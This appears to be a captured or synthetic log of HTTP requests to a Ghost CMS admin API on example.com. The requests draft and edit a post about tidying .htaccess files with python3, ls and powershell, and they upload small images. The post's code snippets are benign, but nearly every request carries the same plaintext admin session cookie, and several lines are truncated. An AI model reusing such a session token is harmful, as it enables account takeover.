{"method": "POST", "target": "/ghost/api/admin/posts/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 511", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[],\\\"direction\\\":null,\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1}],\\\"direction\\\":null,\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"root\\\",\\\"version\\\":1}}\",\"feature_image\":null,\"feature_image_alt\":null,\"feature_image_caption\":null,\"status\":\"draft\",\"published_at\":null,\"authors\":[{\"id\":\"6af4570fd281b00001a59891\"}]}]}"}
{"method": "GET", "target": "/ghost/api/admin/email_previews/posts/6af458a5d281b00001a59969/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "POST", "target": "/ghost/api/admin/images/upload/", "headers": ["Host: example.com", "Content-Length: 339", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryCPTDGrlBBdJzmvpK", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "------WebKitFormBoundaryCPTDGrlBBdJzmvpK\r\nContent-Disposition: form-data; name=\"file\"; filename=\"photo.png\"\r\nContent-Type: image/png\r\n\r\niVBORw0KGgoAAAANSUhEUgAAAEAAAAAwCAIAAAAuKetIAAAAZElEQVR4nO3PUQkAIBTAwBfHiEY0liH8OITBAtxm7fN1wwUNaEEDWtCAFjSgBQ1oQQNa0IAWNKAFDWhBA1rQgBY0oAUNaEEDWtCAFjSgBQ1oQQNa0IAWNKAFDWhBA1rQgBY8dgGIweDx+vacjQAAAABJRU5ErkJggg==\r\n------WebKitFormBoundaryCPTDGrlBBdJzmvpK--\r\n"}
{"method": "GET", "target": "/content/images/2026/11/photo.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 6796", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"https://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\Line truncated
{"method": "GET", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8008", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"https://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\Line truncated
{"method": "GET", "target": "/ghost/assets/posts-route-h3vCXYi5.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/posts-list-screen-DaiQl198.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/container-D71ORA1Q.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/hover-card-Cnz0ewmR.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/filters-BcpL-PeQ.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/filter-bar-D1e2wPCO.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/use-reveal-on-mount-BnFofzIX.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/use-email-sending-status-CbZSbPwi.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/use-sending-eta-ifdScs48.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/nql-BKk2g5D7.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/nql-lang-BhvCNMUQ.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3Ascheduled&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3Adraft&order=updated_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3A%5Bpublished%2Csent%5D&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "POST", "target": "/ghost/api/admin/stats/posts-member-counts/", "headers": ["Host: example.com", "Content-Length: 40", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"postIds\":[\"6af45710d281b00001a598a4\"]}"}
{"method": "GET", "target": "/ghost/api/admin/themes/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "POST", "target": "/ghost/api/admin/images/upload/", "headers": ["Host: example.com", "Content-Length: 508", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZpp0PMguEumdZ1a8", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "------WebKitFormBoundaryZpp0PMguEumdZ1a8\r\nContent-Disposition: form-data; name=\"file\"; filename=\"feature.png\"\r\nContent-Type: image/png\r\n\r\niVBORw0KGgoAAAANSUhEUgAAAHgAAABQCAIAAABd+SbeAAAAqElEQVR4nO3QAQkAIADAMOOYycTGsoXCHTzA2dhr6kLj+cEngQbdCjToVqBBtwINuhVo0K1Ag24FGnQr0KBbgQbdCjToVqBBtwINuhVo0K1Ag24FGnQr0KBbgQbdCjToVqBBtwINuhVo0K1Ag24FGnQr0KBbgQbdCjToVqBBtwINuhVo0K1Ag24FGnQr0KBbgQbdCjToVqBBtwINuhVo0K1Ag24FGnSrAwedWdHCzExoAAAAAElFTkSuQmCC\r\n------WebKitFormBoundaryZpp0PMguEumdZ1a8\r\nContent-Disposition: form-data; name=\"purpose\"\r\n\r\nimage\r\n------WebKitFormBoundaryZpp0PMguEumdZ1a8--\r\n"}
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8057", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting 